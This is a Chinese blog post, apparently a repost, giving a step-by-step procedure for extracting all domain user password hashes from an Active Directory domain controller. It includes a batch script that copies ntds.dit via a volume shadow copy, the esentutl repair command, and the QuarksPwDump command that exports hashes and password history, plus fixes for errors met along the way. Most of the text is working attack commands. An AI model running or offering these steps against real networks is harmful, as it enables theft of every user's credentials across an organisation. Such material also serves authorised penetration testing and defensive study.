使用ShadowCopy+QuarksPwDump0.3a导出当前域内所有用户的hash

来源:互联网 发布:淘宝有漏洞可以0元购物 编辑:程序博客网 时间:2024/05/17 03:55

本文为实际操作中解决的若干坑记录,过程来自于http://drops.wooyun.org/tips/6617 0x06最终方案


先回顾下原文的记录
1. 使用ShadowCopy的命令行版,编写bat实现拷贝ntds.dit至当前目录.

ShadowCopy.vbs

setlocalif NOT "%CALLBACK_SCRIPT%"=="" goto :IS_CALLBACKset SOURCE_DRIVE_LETTER=%SystemDrive%set SOURCE_RELATIVE_PATH=\windows\ntds\ntds.ditset DESTINATION_PATH=%~dp0@echo ...Determine the scripts to be executed/generated...set CALLBACK_SCRIPT=%~dpnx0set TEMP_GENERATED_SCRIPT=GeneratedVarsTempScript.cmd@echo ...Creating the shadow copy..."%~dp0vshadow.exe" -script=%TEMP_GENERATED_SCRIPT% -exec="%CALLBACK_SCRIPT%" %SOURCE_DRIVE_LETTER%del /f %TEMP_GENERATED_SCRIPT%@goto :EOF:IS_CALLBACKsetlocal@echo ...Obtaining the shadow copy device name...call %TEMP_GENERATED_SCRIPT%@echo ...Copying from the shadow copy to the destination path...copy "%SHADOW_DEVICE_1%\%SOURCE_RELATIVE_PATH%" %DESTINATION_PATH%

参考链接: http://blogs.msdn.com/b/adioltean/archive/2005/01/05/346793.aspx

2.修复复制出来的数据库

esentutl /p /o ntds.dit

3.使用QuarksPwDump直接读取信息并将结果导出至文件

QuarksPwDump.exe -dhb -hist -nt ntds.dit -o log.txt

Tips:

QuarksPwDump.exe:Dump various types of Windows credentials without injecting in any process.
源码下载链接,vs2010直接编译即可
https://github.com/quarkslab/quarkspwdump


坑A:

原ShadowCopy代码中%~dp0vsshadow.exe” 会提示找不到vsshadow.exe,此处多写一个s。

坑B:

COM call “m_pVssObject->InitializeForBackup()” failed.
域控是64位的,你运行的是32位的vshadow.exe。
解决方法:安装win7 SDK,使用64位的vshadow.exe(可使用在win2008、win2012)(默认位置) “C:\Program Files\Microsoft SDKs\Windows\v6.1\Bin\x64\vsstools\vshadow.exe”

坑C:

源码下载链接,vs2010直接编译即可
https://github.com/quarkslab/quarkspwdump
主页上显示的是master,其实还是0.2版本的。
真实的release地址是(不用编译)QuarksPwDump-0.3a
作者编译的版本在执行的时候会显示0.2b,此处应该是作者没处理好,不过不影响咱们使用,只要观察是否有-sf参数,即可判断是否是新版。

该版本可解决not enough memory问题

Parsing datatable…Fatal error: not enough memory!

1 0